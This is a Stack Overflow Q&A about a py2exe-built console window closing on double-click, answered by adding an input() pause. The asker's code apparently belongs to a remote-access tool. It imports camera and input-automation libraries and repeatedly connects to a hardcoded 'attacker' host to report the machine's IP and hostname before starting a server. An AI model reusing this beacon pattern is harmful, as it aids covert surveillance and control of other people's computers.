Python time.sleep closes terminal
Question: I used this setup.py script:

    
    
    from distutils.core import setup
    import py2exe
    
    setup(console=['tcphost.py'])
    to compile a code that imports this:
    
    import os
    import pygame.camera
    import numpy as np
    import time
    import cv2
    import socket
    import autopy
    import glob
    
    def TCPclient ():
    CreatePath()
    ViHost = str(socket.gethostbyname(socket.gethostname()))
    ViPort = 6869
    AtHost = "192.168.56.1"
    AtPort = ViPort
    
    AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    TryCon = True
    while TryCon == True:
        try:
            print "Trying to connect..."
            AtSock.connect((AtHost, AtPort))
            TryCon = False
        except:
            print "Could not connect"
            TryCon = True
            time.sleep(30)
    print ("Connected.")
    AtSock.send("<||.IP..||>" + ViHost)
    time.sleep(1)
    AtSock.send("<||.PRT.||>" + str(ViPort))
    time.sleep(1)
    AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
    time.sleep(1)
    AtSock.send("<||.EXT.||>")
    time.sleep(1)
    AtSock.close()
    print ("Messages sent and socket closed.")
    TCPserver (ViHost, ViPort)
    
    if __name__ == "__main__":
        TCPclient()
    

(can´t post all of the code because it's to big for stack overflow)

And it compiles fine however when i try to run the executable a terminal
window pops up prints

    
    
    Trying to connect...
    Could not connect
    

(as it should)but then closes realy fast however if i try to run it **from**
the terminal it works fine. Why and how can i make it stay opend?

**EDIT**

Just to make it clear if i double click the executable a window pops up and
closes. If i run the exe from the comand line everything is fine.


Answer: `time.sleep` is not what causing the script to stop.

Windows command is doing what it's supposed to do, it runs the script then
when everything is executed it closes on its own.

A common way to stop this from happening is to include `input()` at the end of
your script:

**Python 2.7**

    
    
    raw_input("Press Enter to exit")
    

or **Python 3.4**

    
    
    input("Press Enter to exit")
    

